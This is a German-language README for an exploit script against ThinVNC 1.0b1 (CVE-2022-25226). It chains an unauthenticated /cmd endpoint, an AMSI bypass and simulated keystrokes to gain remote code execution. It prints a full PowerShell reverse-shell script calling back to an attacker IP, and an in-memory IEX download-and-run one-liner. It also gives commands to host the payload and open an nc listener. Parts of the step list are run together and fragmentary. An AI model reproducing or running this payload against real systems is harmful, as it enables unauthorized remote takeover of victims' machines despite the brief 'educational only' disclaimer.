
Python-Exploit-Skript für ThinVNC 1.0b1 Authentifizierungsumgehung (CVE-2022-25226), das unautorisierten Zugriff auf den /cmd-Endpunkt mit AMSI-Umgehung und Zwischenablage-Injektion kombiniert, um eine Reverse-Shell zu liefern.
Autor: krill-x7
Referenz: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 enthält eine Sicherheitslücke zur Authentifizierungsumgehung (CVE-2022-25226), die es entfernten Angreifern ermöglicht, ohne Authentifizierung mit dem Backend zu interagieren. Durch die Nutzung exponierter /cmd-Endpunkte können Angreifer Tastatureingaben simulieren, PowerShell öffnen, AMSI umgehen und beliebige Befehle ausführen – was letztendlich zu Remotecodeausführung (RCE) führt.
Dieses Skript verknüpft diese Primitive, um eine Reverse-Shell auf dem Zielsystem zu erhalten.
Dieser Code wird nur für Bildungszwecke bereitgestellt.
Verwenden Sie ihn nur auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich zur Prüfung autorisiert sind.
rev.ps1 Reverse-Shell-Skript, das auf Ihrem Angreifer-Rechner gehostet wirdpython3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1 erstellenSpeichern Sie dies in einer Datei namens rev.ps1.
Wichtig: Ersetzen Sie 192.168.1.200 und 8000 durch die IP Ihres Angreifers und den Listening-Port.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1 hostenAus demselben Verzeichnis:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Strg+Esc, um das Startmenü zu öffnen.Dies ist das Payload, das im Speicher ausgeführt wird:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
Ersetzen Sie <ATTACKER_IP> und <PORT> durch Ihre tatsächliche IP und Ihren Port.
/cmd-Endpunkt über die Webserver-Konfiguration oder eine WAF.